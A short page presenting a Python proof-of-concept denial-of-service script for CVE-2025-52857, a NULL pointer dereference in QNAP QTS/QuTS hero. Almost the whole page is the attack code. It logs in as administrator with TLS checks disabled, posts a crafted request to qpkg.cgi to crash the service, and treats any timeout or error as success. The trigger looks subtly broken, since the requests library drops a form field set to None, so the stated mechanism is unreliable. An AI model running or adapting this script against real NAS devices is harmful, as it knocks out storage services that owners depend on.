CVE-2025-52857：QNAP操作系统空指针解引用拒绝服务漏洞

# CVE-2025-52857 PoC - QNAP NULL Pointer Dereference DoS # This PoC demonstrates triggering the NULL pointer dereference vulnerability # in QNAP QTS / QuTS hero via authenticated network request. import requests import sys import urllib3 # Disable SSL warnings for self-signed certificates common on NAS devices urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def exploit_qnap_null_deref(target_url, username, password): """ Trigger NULL pointer dereference in vulnerable QNAP QTS/QuTS hero. Requires valid administrator credentials. """ session = requests.Session() # Step 1: Authenticate as administrator login_url = f"{target_url}/cgi-bin/authLogin.cgi" login_payload = { "user": username, "pwd": password, "serviceName": "qnap" } print(f"[*] Authenticating to {target_url} as {username}...") try: resp = session.post(login_url, data=login_payload, verify=False, timeout=10) if resp.status_code != 200: print("[-] Authentication failed") return False except Exception as e: print(f"[-] Connection error: {e}") return False # Step 2: Send crafted request to vulnerable endpoint # The vulnerable endpoint processes the request and dereferences a NULL pointer # when certain parameters are missing or malformed, causing a crash vuln_url = f"{target_url}/cgi-bin/qpkg/cgi/qpkg.cgi" crafted_payload = { "action": "get_list", "pkg_type": None, # Trigger NULL pointer path "func": "" } print("[*] Sending crafted request to trigger NULL pointer dereference...") try: # The server will crash when processing this request resp = session.post(vuln_url, data=crafted_payload, verify=False, timeout=5) print("[*] Request sent. Target service may have crashed.") except requests.exceptions.Timeout: print("[+] Target service appears unresponsive - DoS successful!") return True except Exception as e: print(f"[+] Connection refused/error - service likely crashed: {e}") return True return False if __name__ == "__main__": if len(sys.argv) != 4: print(f"Usage: {sys.argv[0]} <target_url> <admin_user> <admin_password>") print(f"Example: {sys.argv[0]} https://192.168.1.100:8080 admin password123") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit_qnap_null_deref(target, user, pwd)